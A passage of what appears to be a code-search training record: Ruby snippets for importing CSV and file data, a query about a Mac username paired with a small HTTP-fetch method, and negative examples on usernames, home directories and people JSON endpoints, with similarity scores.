"def import_from_csv(file_name)\n csv_text = File.read(file_name)\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\n # Iterate over the CSV::Table object's rows. Then create a has for each row.\n # Convert each row_hash to an entry by using add_entry method.\n csv.each do |row|\n row_hash = row.to_hash\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\n end\n end",
"def import_students(file, header_map, header_row_exists)\n ext = File.extname(file.original_filename)\n spreadsheet = Roo::Spreadsheet.open(file, extension: ext)\n \n # get index for each param\n id_index = header_map.index(\"student_id\")\n email_index = header_map.index(\"email\")\n first_name_index = header_map.index(\"first_name\")\n last_name_index = header_map.index(\"last_name\")\n full_name_index = header_map.index(\"full_name\")\n\n # start at row 1 if header row exists (via checkbox)\n ((header_row_exists ? 2 : 1 )..spreadsheet.last_row).each do |i|\n\n spreadsheet_row = spreadsheet.row(i)\n\n row = {} # build dynaimically based on choices\n\n row[\"student_id\"] = spreadsheet_row[id_index]\n row[\"email\"] = spreadsheet_row[email_index]\n\n if first_name_index\n row[\"first_name\"] = spreadsheet_row[first_name_index]\n row[\"last_name\"] = spreadsheet_row[last_name_index]\n else\n name_arr = spreadsheet_row[full_name_index].split(\" \") # this seems prone to bugs because last names are weird\n row[\"first_name\"] = name_arr[0]\n row[\"last_name\"] = name_arr[1]\n end\n\n next if row.values.all?(&:nil?) # skip empty rows\n\n # check if there is an existing student in the course or create a new one\n student = roster_students.find_by(perm: row[\"student_id\"]) ||\n roster_students.new\n \n student.perm = row[\"student_id\"]\n student.first_name = row[\"first_name\"]\n student.last_name = row[\"last_name\"]\n student.email = row[\"email\"]\n student.save\n end\n end",
"def input\n SourceRecord.new(self.raw_hash, @table)\n end",
"def read_users_from_file(filename)\n CSV.read(filename, :headers => true, :header_converters => :symbol).map { |row| row.to_hash }\nend",
"def loadHash(db, table, key, columns)\n data = Hash.new\n db.query(\"SELECT #{key}, #{columns.join(',')} FROM #{table}\").each do |row|\n data[row.first] = Hash.new\n columns.size.times do |i|\n data[row.first][columns[i]] = row[i+1]\n end\n end\n data\nend",
"def file_2_hash(f,lc=true)\n\t\tputs \"Loading records from file: #{f}\" if @verbose\n\t\tbegin\n\t\t\ths=Hash.new\n\t\t\tfile = File.open(f, \"r\")\n\t\t\tfile.each_line do |line|\n\t\t\t\tline=line.chomp.strip\n\t\t\t\tnext if line.nil?\n\t\t\t\tnext if line.empty?\n\t\t\t\tline=line.downcase if lc==true\n\t\t\t\tnext if line =~ /^\\s*#/\n\t\t\t\ths[line]=true unless hs.key?(line)\n\t\t\tend\n\t\t\tfile.close\n\t\t\treturn hs\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} on #{f}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"def insert_to_csv(file_name, user_info, score_hash)\n CSV.open(\"tmp/#{file_name}\", \"a+\") do |csv|\n row_data = []\n\n @headers_key.each do |key|\n row_data << if USER_KEYS.include?(key)\n user_info[key]\n else\n score_hash[key]\n end\n end\n\n csv << row_data\n end\n end",
"def parse_file(src, dest)\n create_table(dest)\n\n puts \"***** Importing #{dest}\"\n\n count = 0\n# names = File.foreach(src).collect do |line|\n names = open(src).collect do |line| \n count += 1\n if count % 2000 == 0\n puts count\n end\n\n data = line.split\n\n name = data.first.capitalize\n freq = data[2].to_f\n\n name = if dest == \"surname\"\n cleanup_surname(name)\n else\n cleanup_firstname(name)\n end\n\n {:name => name, :freq => freq}\n end\n\n puts \"loading into db\"\n\n # remove any existing records\n @db[dest.to_sym].truncate\n\n # insert!\n @db[dest.to_sym].multi_insert(names)\n end",
"def fasta_to_hash(infile)\n f=File.open(infile,\"r\")\n return_hash = {}\n name = \"\"\n while line = f.gets do\n line.tr!(\"\\u0000\",\"\")\n next if line == \"\\n\"\n next if line =~ /^\\=/\n if line =~ /^\\>/\n name = line.chomp\n return_hash[name] = \"\"\n else\n return_hash[name] += line.chomp.upcase\n end\n end\n f.close\n return return_hash\nend",
"def from_plaintext filename, fields\n ds = Daru::DataFrame.new({}, order: fields)\n fp = File.open(filename,'r')\n fp.each_line do |line|\n row = Daru::IOHelpers.process_row(line.strip.split(/\\s+/),[''])\n next if row == [\"\\x1A\"]\n ds.add_row(row)\n end\n ds.update\n fields.each { |f| ds[f].rename f }\n ds\n end",
"def from_plaintext filename, fields\n ds = Daru::DataFrame.new({}, order: fields)\n fp = File.open(filename,'r')\n fp.each_line do |line|\n row = Daru::IOHelpers.process_row(line.strip.split(/\\s+/),[''])\n next if row == [\"\\x1A\"]\n ds.add_row(row)\n end\n ds.update\n fields.each { |f| ds[f].rename f }\n ds\n end",
"def process_new_row\n validate_new_row\n\n return if chunk.family_name.nil? || chunk.qualifier.nil?\n\n row.key = chunk.row_key\n self.cur_family = chunk.family_name.value\n self.cur_qaul = chunk.qualifier.value\n self.cur_ts = chunk.timestamp_micros\n self.cur_labels = chunk.labels\n\n next_state!\n end",
"def load_hapmap_data\n \n column_headings = []\n result = \"\"\n File.open(\"#{RAILS_ROOT}/test/mocks/#{@hapmap_filename}\",\"r\") do |file|\n while (f = file.gets)\n\n next if f =~ /^#/ # ignore lines that start with a hash - comments\n f.strip! # remove any whitespace, linefeeds, etc.\n\n # if this line has the column headings, extract and do the next line\n if f =~ /^rs#/\n column_headings = f.split(/\\s/)\n next\n end\n\n # Split the hapmap file based on spaces\n snp_data = f.split(/\\s/)\n\n result = @controller.load_hapmap_snp_data(column_headings,snp_data)\n\n end # end of file_array.each loop\n end# of File.open\n \n end"
] | [
"0.62175995",
"0.6150782",
"0.614006",
"0.6087499",
"0.60071754",
"0.6000193",
"0.5869175",
"0.5846159",
"0.58414525",
"0.58093965",
"0.57959306",
"0.5782186",
"0.5778418",
"0.57463425",
"0.57329917",
"0.57252955",
"0.57242304",
"0.57004684",
"0.56843245",
"0.5662742",
"0.5615744",
"0.5614545",
"0.56087834",
"0.5607982",
"0.56076056",
"0.56013525",
"0.55901194",
"0.55679995",
"0.5563213",
"0.555924",
"0.55456007",
"0.55387056",
"0.55373853",
"0.5533531",
"0.5527501",
"0.552341",
"0.5522106",
"0.55192834",
"0.5507957",
"0.548006",
"0.5477495",
"0.5459535",
"0.5427341",
"0.542278",
"0.54202497",
"0.5414972",
"0.54099494",
"0.5405463",
"0.5401315",
"0.53972155",
"0.5395096",
"0.53950065",
"0.53940475",
"0.53759223",
"0.5372623",
"0.5359355",
"0.5352439",
"0.5346575",
"0.53456134",
"0.5343603",
"0.53407174",
"0.5335025",
"0.5329941",
"0.53280765",
"0.5327893",
"0.5316185",
"0.5308806",
"0.53060305",
"0.52725846",
"0.5269286",
"0.5269286",
"0.52685946",
"0.526849",
"0.526849",
"0.52675307",
"0.52628744",
"0.5262314",
"0.52601844",
"0.52588314",
"0.5258491",
"0.52551186",
"0.5253106",
"0.52529836",
"0.52501136",
"0.5245099",
"0.5244486",
"0.5244177",
"0.52365315",
"0.5235919",
"0.5227139",
"0.5221947",
"0.5221673",
"0.52190214",
"0.52141273",
"0.5211071",
"0.5208566",
"0.52059615",
"0.52059615",
"0.5197842",
"0.51927084"
] | 0.7244097 | 0 |
Your mac username, /Users/example/ < example in this case | def open(url)
Net::HTTP.get(URI.parse(url))
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def username\n if @username.nil?\n if os_type(:nice, :not_extended) == 'Solaris'\n @username = @platform.exec(\"/usr/ucb/whoami\").strip\n else\n @username = @platform.exec(\"whoami\").strip\n end\n end\n \n @username\n end",
"def username\n ENV['USER']\n end",
"def current_user\n `whoami`.strip\nend",
"def username\n ENV['DESK_USERNAME']\n end",
"def homedir(user = (@sudo||@user))\n exec! \"awk -F: -v v=#{escape(user)} '{if ($1==v) print $6}' /etc/passwd\"\n end",
"def get_uname\n `uname -a`\n end",
"def system_home\n ENV.fetch(\"HOME\").tr(\"\\\\\", \"/\")\nend",
"def username\n if @user.nil?\n @user = JavaSystem.getProperty(\"user.name\")\n end\n\n @user\n end",
"def uname\n shell(%w[uname])\n end",
"def uname\n `uname -a`\n end",
"def username\n ENV.fetch(\"USERNAME\")\nend",
"def username\n ENV.fetch(\"USERNAME\")\nend",
"def username\n Shellwords.shellescape(SabreDAVExport.username)\n end",
"def mac\n config[\"mac\"]\n end",
"def username\n config['couch_username_key'] ? \"#{ENV[config['couch_username_key']]}\" : \"\"\n end",
"def home_path\n File.expand_path(\"~\")\n end",
"def home_dir(name=nil)\n username = (name || self.username)\n if (username == \"root\")\n \"/root\"\n else\n \"/home/#{username}\"\n end\n end",
"def user\n @user ||= ENV[\"USER\"].presence || Utils.safe_popen_read(\"/usr/bin/whoami\").chomp\n end",
"def user\n @user ||= ENV[\"USER\"].presence || Utils.safe_popen_read(\"/usr/bin/whoami\").chomp\n end",
"def full_name\n name = `finger $USER 2> /dev/null | grep Login | colrm 1 46`.chomp\n name.present? ? name.squish : \"John Doe\"\n end",
"def get_local_user\n return ENV['USER'] || ENV['USERNAME']\n end",
"def prompt_user\n \"[#{`whoami`.chomp}]\".green\nend",
"def full_name\n name = `finger $USER 2> /dev/null | grep Login | colrm 1 46`.chomp\n name.empty? ? \"John Doe\" : name.squish\n end",
"def home\n @home ||= ENV.fetch(\"HOME\").tr(\"\\\\\", \"/\")\nend",
"def userhost(nicknames)\n raw \"USERHOST #{Array(nicknames).map(&:to_s).join \" \"}\\r\\n\"\n end",
"def user\n ENV['SERVER_USER']\n end",
"def get_username()\n username_gitconfig = %x(git config user.name).strip\n username_passwd = Etc.getpwnam(Etc.getlogin).gecos.gsub(/ - SBP.*/,'')\n\n username = username_gitconfig unless username_gitconfig.nil?\n username = username_passwd if username.empty?\n username\n end",
"def user\n return ENV['USER']\n end",
"def mac\n File.open(\"/sys/class/net/#{@name}/address\") do |f|\n f.read.chomp\n end\n end",
"def mac\n options[:mac]\n end",
"def username_from_cmd\n # the username is the first part of the path\n return self.cmd_opt.gsub(\"'\",\"\").split(\"/\")[0] if !self.cmd_opt.empty?\n end",
"def user(username, realname, invisible = true)\n raw \"USER #{username} #{invisible ? 8 : 0} * :#{realname}\\r\\n\"\n end",
"def cmd_getuid(*args)\n print_line(\"Server username: #{client.sys.config.getuid}\")\n end",
"def run_java_home\n `/usr/libexec/java_home`.to_s.strip\n end",
"def username\n self['default_rhlogin']\n end",
"def whoami\n @whoami ||= Etc.getpwuid(Process.uid).name\n end",
"def ssh_user(arg=nil)\n set_or_return(:ssh_user, arg, :kind_of => String)\n end",
"def cpanel_username\n @username = `/scripts/whoowns #{domain}`.chomp\n username\n end",
"def user_directory\n File.expand_path('~')\n end",
"def prompt_dir\n Dir.pwd!=`echo $HOME`.chomp ? \"[#{Dir.pwd.split(\"/\")[-1]}]\".blue : \"[~]\".blue\nend",
"def current_user_name_or_id\n require 'etc' if !defined?(Etc)\n begin\n user = Etc.getpwuid(Process.uid)\n rescue ArgumentError\n user = nil\n end\n if user\n return user.name\n else\n return \"##{Process.uid}\"\n end\n end",
"def unix_uid; end",
"def get_os\n line = Cocaine::CommandLine.new('uname')\n output = line.run\n\n output.chomp.downcase.intern\n end",
"def os\n return `uname -s`.chomp\n end",
"def login_user_name\n user_name.tr('.', '')\n end",
"def full_name\n \"#{username}/#{name}\"\n end",
"def owner\n Etc.getpwuid(workdir.stat.uid).name\n end",
"def home_basedir\n if platform_family?('mac_os_x')\n '/Users'\n elsif platform_family?('solaris2')\n '/export/home'\n else\n '/home'\n end\n end",
"def username; end",
"def username; end",
"def username; end",
"def username; end",
"def whoami\n if Rails.env == 'test'\n 'rennes'\n else\n ENV['WHOAMI'] || `hostname -f`.split('.')[1]\n end\n end",
"def login_command_for_mac\n create_rdp_doc(mac: true)\n\n LoginCommand.new(\"open\", rdp_doc_path)\n end",
"def homebrew_tap\n @homebrew_tap ||= Homebrew::Tap.find user\n end",
"def cli_icon_prefix\n ((/darwin/ =~ RUBY_PLATFORM) != nil) ? \"#{FOLDER_SYMBOL} \" : \"\"\n end",
"def test_to_bash_replaces_user_home_with_home_environment_variable\n path = Pathname.new( '~/Developer/SDKs' )\n assert_equal( '$HOME/Developer/SDKs', path.to_bash )\n end",
"def whoami\n validate_arguments!\n\n display Turbot::Auth.user\n end",
"def user(username, realname, mode = 0)\n host = TCPSocket.gethostbyname(Socket.gethostname)[0]\n send_msg(\"USER #{username} #{mode} * :#{realname}\")\n end",
"def unix_name\n 'heads_up'\n end",
"def home(user=nil)\n File.expand_path(Dir.home(user))\n end",
"def username\n \"rocky\"\n end",
"def current_app\n `osascript -e 'POSIX path of (path to frontmost application as text)'`.chomp\nend",
"def process_username(pid)\n uid = File.stat(\"/proc/#{pid}\").uid\n File.foreach('/etc/passwd').each do |line|\n if line.split(':')[2] == \"#{uid}\"\n return line.split(':')[0]\n end\n end\n end",
"def plist_name; 'homebrew.mxcl.'+name end",
"def get_brew_user_id\n brew_command_parse_response(\"call getLoggedInUser\")['id']\n end",
"def home(username)\n send_request(FXP_EXTENDED, :string, \"home-directory\", :string, username)\n end",
"def admin_username\n vm.os_profile.admin_username\n end",
"def mac?\n @mac ||= is? /mac|darwin/\n end",
"def username\n client.username if client\n end",
"def read_user_app_id\n fn = File.join(RUBY_PLATFORM =~ /mswin32/ ? ENV['USERPROFILE'] : ENV['HOME'], \".rbing_app_id\")\n File.read(fn).strip if File.exists?(fn)\n end",
"def etc; HOMEBREW_PREFIX+'etc' end",
"def username\n chef_account.try(:username).to_s\n end",
"def find_username\n @username || $config.fetch(:username) || prompt_username\n end",
"def sys\n return `uname -n`.chomp\n end",
"def infer_homedir(username)\n\t# mitigate blank username rm -rf /network/home/\n\tif username.blank?\n\t\traise(\"Username cannot be empty!\")\n\t# mitigate path traversal rm -rf /network/home/../../etc/shadow\n\telsif username !~ /\\A[\\w\\.-]+\\z/\n\t\traise(\"Invalid format of username\")\n\tend\n\n\tFile.join($home_base, username)\nend",
"def username\n end",
"def prompt_username\n TTY::Prompt.new.ask(\"Redacted username?\", required: true, modify: :strip)\n end",
"def home_file(*path)\n File.join(ENV['HOME'], *path)\nend",
"def home_file(*path)\n File.join(ENV['HOME'], *path)\nend",
"def get_full_name(user)\n begin\n Etc.getpwnam(\"#{user}\")[\"gecos\"].chomp\n # or with dscl\n # %x(dscl /Search -read /Users/#{user} dsAttrTypeNative:cn).split.drop(1).join(\" \") \n rescue Exception => e\n end\n \n end",
"def extract_author_name\n `git config user.name`.strip\n end",
"def set_OwnerScreenName(value)\n set_input(\"OwnerScreenName\", value)\n end",
"def set_OwnerScreenName(value)\n set_input(\"OwnerScreenName\", value)\n end",
"def set_OwnerScreenName(value)\n set_input(\"OwnerScreenName\", value)\n end",
"def name\n ssh.exec!(\"hostname\").chomp\n end",
"def get_osx_disk_name(options)\n message = \"Information:\\tGetting root disk device ID\"\n command = \"df |grep '/$' |awk '{print \\\\$1}'\"\n output = execute_command(options,message,command)\n disk_id = output.chomp\n message = \"Information:\\tGetting volume name for \"+disk_id\n command = \"diskutil info #{disk_id} | grep 'Volume Name' |cut -f2 -d':'\"\n output = execute_command(options,message,command)\n volume = output.chomp.gsub(/^\\s+/,\"\")\n return volume\nend",
"def set_OwnerScreenName(value)\n set_input(\"OwnerScreenName\", value)\n end",
"def set_OwnerScreenName(value)\n set_input(\"OwnerScreenName\", value)\n end",
"def set_OwnerScreenName(value)\n set_input(\"OwnerScreenName\", value)\n end",
"def set_OwnerScreenName(value)\n set_input(\"OwnerScreenName\", value)\n end",
"def set_OwnerScreenName(value)\n set_input(\"OwnerScreenName\", value)\n end",
"def set_OwnerScreenName(value)\n set_input(\"OwnerScreenName\", value)\n end",
"def set_OwnerScreenName(value)\n set_input(\"OwnerScreenName\", value)\n end",
"def set_OwnerScreenName(value)\n set_input(\"OwnerScreenName\", value)\n end",
"def set_OwnerScreenName(value)\n set_input(\"OwnerScreenName\", value)\n end",
"def home_path\n @ssh_home\n end",
"def username\n name\n end",
"def ssh_user(val=nil)\n from_setting_or_image_info :ssh_user, val, 'root'\n end",
"def deployed_by\n username = nil\n\n scm = fetch(:scm, nil)\n\n if scm\n if scm.to_sym == :git\n username = `git config user.name`.chomp\n username = nil if $? != 0 || username.strip == ''\n end\n end\n\n username || `whoami`.chomp\n end",
"def system_name\n self.login\n end"
] | [
"0.68197846",
"0.6711065",
"0.6451409",
"0.6256693",
"0.619899",
"0.61829805",
"0.61540854",
"0.61285675",
"0.6091611",
"0.6067709",
"0.6066932",
"0.6066932",
"0.5962037",
"0.59566",
"0.5940808",
"0.5891948",
"0.58859575",
"0.58783644",
"0.58783644",
"0.5876491",
"0.5825839",
"0.5817159",
"0.58147746",
"0.5789023",
"0.57788247",
"0.57649547",
"0.5761973",
"0.5755578",
"0.5746191",
"0.57361585",
"0.57296896",
"0.5725488",
"0.57252884",
"0.5711286",
"0.57056004",
"0.5681231",
"0.56728375",
"0.5669628",
"0.566418",
"0.56636304",
"0.5657189",
"0.56554466",
"0.56534153",
"0.56531906",
"0.5649121",
"0.56470424",
"0.5641335",
"0.5630254",
"0.56301844",
"0.56301844",
"0.56301844",
"0.56301844",
"0.56275916",
"0.56237763",
"0.5621337",
"0.56161815",
"0.56122863",
"0.5588129",
"0.5578031",
"0.5553482",
"0.5543913",
"0.55174994",
"0.5512266",
"0.5510244",
"0.55057055",
"0.549588",
"0.5461005",
"0.5457147",
"0.54565376",
"0.54462487",
"0.5445671",
"0.54424393",
"0.54342353",
"0.54237276",
"0.5415729",
"0.541106",
"0.5407236",
"0.5394695",
"0.5393101",
"0.5393101",
"0.5389298",
"0.538351",
"0.5382502",
"0.5382502",
"0.5382502",
"0.53821754",
"0.5381932",
"0.538179",
"0.538179",
"0.538179",
"0.538179",
"0.538179",
"0.5381284",
"0.5381284",
"0.5381284",
"0.5381284",
"0.5370649",
"0.53678787",
"0.5362916",
"0.5359822",
"0.5357027"
] | 0.0 | -1 |
GET /people GET /people.json | def index
@people = Person.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n\t\tall_people = Person.all.sort_by(&:id)\n\t\tif all_people\n\t\t\trender json: {people: all_people}\n\t\telse\n\t\t\trender body: 'People Not Found', status: 404\n\t\tend\n\tend",
"def people\n Sifter.\n get(api_people_url).\n fetch(\"people\", []).\n map { |p| Sifter::Person.new(p) }\n end",
"def people\n Sifter.\n get(api_people_url).\n fetch(\"people\", []).\n map { |p| Sifter::Person.new(p) }\n end",
"def index\n @people = Person.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @people }\n end\n end",
"def index\n \t@people = Person.all\n respond_to do |format|\n format.json { render json: @people, status: :ok }\n end\n end",
"def show\n @person = get_person(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = get_person(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @person }\n end\n end",
"def people\n Birdman::Requester.get(\"movies/#{id}/people\")\n end",
"def get_person(id)\n self.class.get(url(\"people/#{id}\"), headers: @token.headers).parsed_response\n end",
"def person(id)\n get(\"/catalog/people/#{id.to_s}\")\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def fetch_people\n @people = People.find(params[:id])\n end",
"def people(query={})\n response = self.simple_client.get(\"/api/v1/people?#{query.to_query}\")\n # TODO modularize, re-use\n if response[\"page\"]\n return WillPaginate::Collection.create(response[\"page\"],response[\"per_page\"]) do |pager|\n pager.replace(response[\"people\"])\n pager.total_entries = response[\"total_entries\"]\n end\n else\n return response\n end\n end",
"def index\n @people = User.order(:nickname).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render :json => @people }\n end\n end",
"def show\n @person = people_type.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def index\n\t\t@people = People.all\n\t\t#render json: \"test\"\n\t\tresponse = @people\n\t\trender json: response\n\t\treturn response\n\tend",
"def show\n @person_info = PersonInfo.find(params[:id])\n\n render json: @person_info\n end",
"def show\n @user_person = UserPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_person }\n end\n end",
"def show\n \t@person = Person.find(params[:id])\n respond_to do |format|\n format.json { render json: @person, status: :ok }\t\n end \t \t\n end",
"def index\n # this is like a 'select * from people' in SQL, but using ORM\n @people = Person.all \n\n # render is the return of our method and at the same time help us to render the object\n render json: @people \n end",
"def show\n\t\t@person = Person.find_by(id: params[:id])\n\t\t# render json: @person #skips the view, and just renders out the json\n\tend",
"def show\n\t\tperson = Person.find_by_id(self.params[\"id\"].to_i)\n\t\tif person\n\t\t\trender json: {id: person.id, name: person.name, favoriteCity: person.favoriteCity}\n\t\telse\n\t\t\trender body: 'Person Not Found', status: 404\n\t\tend\n\tend",
"def search_people(query)\n get(\"/v1/search/people\", query: query)\n end",
"def index\n respond_with(@people)\n end",
"def index\n @people = Person.includes(:registry).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @people }\n end\n end",
"def index\n @people = search Person.involved_in(@conference)\n\n respond_to do |format|\n format.html { @people = @people.paginate page: page_param }\n format.json\n end\n end",
"def show\n respond_to do |format|\n people = @mob.user_idz.split(',').map{|i| User.find(i).name }.join(', ')\n format.json { render json: @mob.attributes.merge(people: people, users: @mob.users, date: Time.now.strftime('%-m/%-d/%Y')) }\n end\n end",
"def index\n @projects_people = ProjectsPerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects_people }\n end\n end",
"def show\n if @person\n render json: @person\n else\n # :not_found is the http status code 404\n render status: :not_found\n end\n end",
"def index\n @people = Person.all\n respond_with(@people)\n end",
"def show\n @person = Person.find(params[:id])\n @hair_colours = Person.get_hair_colours\n @eye_colours = Person.get_eye_colours\n @heights_feet = Person.get_heights_feet\n @heights_inches = Person.get_heights_inches\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @projects_person = ProjectsPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projects_person }\n end\n end",
"def get_people_info(page_size=2)\n\t\toptions = {\n\t\t\theaders: headers,\n\t\t\tquery: { page_size: page_size }\n\t\t}\n\t\tresult = self.class.get(\"/people/#{display_name}/#{email_address}/#{title}\", options)\n\tend",
"def index\n @type_people = TypePerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @type_people }\n end\n end",
"def show\n @person = Person.find_by_guid!(params[:id])\n\n respond_to do |format|\n format.json { render :json => PersonPresenter.new(@person, current_user) }\n end\n end",
"def show\n @persona = Persona.find(params[:id])\n @users = User.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @persona }\n end\n end",
"def getPeople\n\t\t\t\tbegin\n\t\t\t\t\t# Call getPeopleData method to retrieve data from SalesLoft API\n\t\t\t\t\t# [TODO] LOG [DEBUG MESSAGE]\n\t\t\t\t\tresponse_body = getPeopleData\n\t\t\t\t\t\n\t\t\t\t\t# Return Response\n\t render json: {\n\t \tresponse_data: response_body,\n\t \toperation: \"get_people_data\",\n\t \tstatus: \"success\",\n\t \ttimestamp:Time.now, \n\t \tuuid: SecureRandom.uuid, \n\t \tresponse_code: 200,\n\t \tmessage: \"Data Retrieved\"\n\t }\n \trescue StandardError => e\n \t\t# [TODO] LOG [ERROR MESSAGE]\n \t\trender json: {\n\t \tresponse_data: e.message,\n\t \toperation: \"people_data\",\n\t \tstatus: \"error\",\n\t \ttimestamp:Time.now, \n\t \tuuid: SecureRandom.uuid, \n\t \tresponse_code: 500,\n\t \tmessage: \"Error Occured\"\n\t } \n \tend # End rescue block\n\t\t\tend",
"def index\n @people = Person.paginate(:page => params[:offset], :per_page => 20)\n\n people_hash()\n respond_to do |format|\n format.html\n format.json { render :json => @people_hash }\n format.xml { render :xml => @people_hash }\n end\n end",
"def show\n @personnage = Personnage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personnage }\n end\n end",
"def show\n @persona = Persona.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @persona }\n end\n end",
"def index\n @people = Person.where( :user_id => current_user.id)\n if current_user.role? :admin \n @people = Person.all\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @people }\n end\n end",
"def people\n Harvest::Resources::Person\n end",
"def show\n @people = People.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @people }\n end\n end",
"def show\n @personaje = Personaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personaje }\n end\n end",
"def index\n @person = Person.find((params[:person_id]))\n @person_identification_docs = PersonIdentificationDoc.where(\"person_id = ?\", params[:person_id])\n\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @person_identification_docs }\n end\n end",
"def show\n @person_search = PersonSearch.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person_search }\n end\n end",
"def index\n @people = People.all\n end",
"def show\n @persona = Persona.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @persona }\n end\n end",
"def get\n @person\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n format.json { respond_with @person }\n end\n end",
"def get_people\n return @people\n end",
"def index\n @people_tasks = TasksPerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @people_tasks }\n end\n end",
"def people\n success? ? @data['people'] : nil\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => @person_hash }\n format.xml { render :xml => @person_hash }\n end\n end",
"def index\n\n @people = Person.filter(params.slice(:name_like))\n @people = @people.where([\"union_id = ?\", current_person.union_id]) if request.format.json? && !owner?\n @people = @people.where(\"not invited_by_id is null\").order([:last_name, :first_name, :id])\n \n respond_to do |format|\n format.html \n format.json \n end\n end",
"def index\n\t\t@people = Person.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @people }\n\t\tend\n\tend",
"def people(term, params = {})\n args = '&' + paramify(params) unless params.empty?\n get(\"/catalog/people?term=#{term}#{args}\")\n end",
"def show\n\t\t@household = Household.find(params[:id])\n\t\t@people = @household.people\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @household }\n\t\tend\n\tend",
"def show\n @person_interest = PersonInterest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person_interest }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @personas }\n end\n end",
"def show\n @person = Person.find(params[:id])\n respond_with(@person)\n end",
"def show\n @type_person = TypePerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @type_person }\n end\n end",
"def get \n render :json => User.find(params[:id])\n end",
"def index\n @people = Person.all\n end",
"def index\n @personas = Persona.all\n @users = User.all\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @personas }\n end\n end",
"def index\n @people = Person.all\n respond_to do |format|\n format.json { \n render json: @people, :include => [:roles => { include: [:privileges] } ]\n }\n end\n end",
"def show\n @person = Person.find(params[:id])\n @registry = Registry.where('email = ?', @person.email).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def parse_json\n people = JSON.parse(self.get_response_body)\n end",
"def index\n \t@people = Person.all\n end",
"def show\n render json: Users.find(params[\"id\"])\n end",
"def show\n @tasks_person = TasksPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tasks_person }\n end\n end",
"def index\n @root = \"people\"\n \n @people = Person.find(:all)\n end",
"def show\n @key_person = KeyPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @key_person }\n end\n end",
"def index\n @people = do_search_people(@person, :friends, :with_tags => !request.xhr?,\n :url => hash_for_contacts_path)\n end",
"def people(company_id, project_id=nil)\n url = project_id ? \"/projects/#{project_id}\" : \"\"\n url << \"/contacts/people/#{company_id}\"\n records \"person\", url\n end",
"def people(company_id, project_id=nil)\n url = project_id ? \"/projects/#{project_id}\" : \"\"\n url << \"/contacts/people/#{company_id}\"\n records \"person\", url\n end",
"def people\n @people = Person.find(:all, :order => 'family_name, given_name')\n\n respond_to do |format|\n format.html # people.html.erb\n format.xml { render :xml => @people }\n end\n end",
